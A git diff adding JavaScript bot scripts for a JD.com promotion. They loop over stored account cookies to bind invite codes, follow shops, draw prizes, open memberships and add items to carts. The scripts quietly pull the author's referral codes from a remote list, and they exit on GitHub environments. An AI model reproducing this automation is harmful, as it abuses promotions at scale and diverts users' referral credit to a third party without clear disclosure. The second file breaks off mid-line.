getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/jinggengjcq_dapainew.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'fuMB6t0LHdtq7Dc8pm+TwF4tLNYA4seuA67MOIYQxEk3Vl9+AVo4NF+tgyeIc6A6kdK3rLBQpEQH9V4tdrrh0w==', + ] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.appkey = "51B59BB805903DA4CE513D29EC448375" + $.userId = "10299171" + $.actId = "5256d57baccc480f94_11012" + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + console.log('去助力 -> '+$.authorCode); + await openCardNew(); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function openCardNew() { + $.token = null; + $.buyerNick = null; + $.activityInfo = null; + await getToken(); + if ($.token) { + await task('activity_load', { + "actId": $.actId, + "inviteNick": $.authorCode, + "jdToken": $.token, + "source": "01", + }) + if ($.buyerNick) { + console.log('1.助力码 -> '+$.buyerNick) + if ($.index === 1) { + ownCode = $.buyerNick + console.log("后面的将给这个助力码助力 -> "+ownCode) + } + console.log('2.绑定助力 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "relationBind", + "inviterNick": $.authorCode, + }) + await task('shopList', { + "actId": $.actId, + }) + console.log('3.关注店铺 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteCollectShop", + }) + console.log('4.抽奖 ->') + await task('draw/post', { + "actId": $.actId, + "usedGameNum": "2", + "dataType": "draw", + }) + console.log('5.加入会员 ->') + if ($.shopList) { + console.log('会员卡数量 -> '+$.shopList.length) + for (const vo of $.shopList) { + $.log(`${vo.userId}`) + if (!vo.open) { + $.log("开通会员") + await getShopOpenCardInfo(vo.userId) + await bindWithVender(vo.userId) + await task('complete/mission', { + "actId": $.actId, + "shopId": vo.userId, + "missionType": "openCard", + }) + await $.wait(3000) + } else { + $.log("已经是会员了") + } + await $.wait(500) + } + } + console.log('6.加入购物车 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteAddCart", + }) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, preParams) { + body = { + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": $.appkey, + "m": "POST", + "timestamp": new Date(), + "userId": $.userId + }, + "admJson": { + "method": `/openCardNew/${function_id}`, + "userId": $.userId, + "buyerNick": $.buyerNick ? $.buyerNick : "" + } + } + } + Object.assign(body.params.admJson, preParams) + return new Promise(resolve => { + $.post(taskUrl(function_id, body), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.status === 200) { + switch (function_id) { + case 'activity_load': + $.buyerNick = data.data.data.buyerNick; + console.log("[ "+data.data.data.cusActivity.actName+" ]"); + break; + case 'shopList': + $.shopList = data.data.data.cusShops; + break; + case 'complete/mission': + console.log(data.data.data.remark); + break; + case 'draw/post': + console.log(data.data.data.awardSetting.awardName); + break; + default: + break; + } + } + } + + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + console.log("开卡成功") + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body) { + return { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCardNew/${function_id}?&mix_nick=${$.buyerNick ? $.buyerNick : ""}`, + headers: { + Host: 'jinggengjcq-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/json; charset=utf-8', + Origin: 'https://jinggengjcq-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', + Cookie: cookie + }, + body: JSON.stringify(body) + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jinggengjcq_dapainew3.js b/backUp/jd_jinggengjcq_dapainew3.js new file mode 100644 index 0000000..f4f2782 --- /dev/null +++ b/backUp/jd_jinggengjcq_dapainew3.js @@ -0,0 +1,535 @@ + +const $ = new Env("大牌联合"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const cp = $.isNode() ? require('child_process') : ''; +let cookiesArr = [], cookie = '', message = ''; +const Base64 = require("js-base64") +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/jinggengjcq_dapainew.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'fuMB6t0LHdtq7Dc8pm+TwF4tLNYA4seuA67MOIYQxEk3Vl9+AVo4NF+tgyeIc6A6kdK3rLBQpEQH9V4tdrrh0w==', + ] + } + for (let i = 0; i < cookiesArr.length; i++) { + if 